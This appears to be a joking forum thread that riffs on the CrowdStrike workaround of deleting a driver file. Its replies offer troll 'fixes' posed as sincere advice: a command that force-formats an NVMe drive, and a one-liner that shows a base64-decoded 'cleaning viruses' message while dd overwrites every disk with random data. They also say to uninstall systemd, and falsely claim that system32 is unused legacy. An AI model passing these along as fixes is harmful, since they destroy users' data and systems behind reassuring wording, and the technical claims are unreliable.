What a simple fix
Seeing the crowdstrike solution reminded me of the old memes
Go to C:\Windows\System32\drivers\CrowdStrike
Locate and delete file matching "C-00000291*.sys"

This didn't break my whole system but it did break most of the software I value, so mission accomplished!
They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.
On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1
echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
system32 is legacy crap anyways and is not used anymore. Everything important is stored in system64
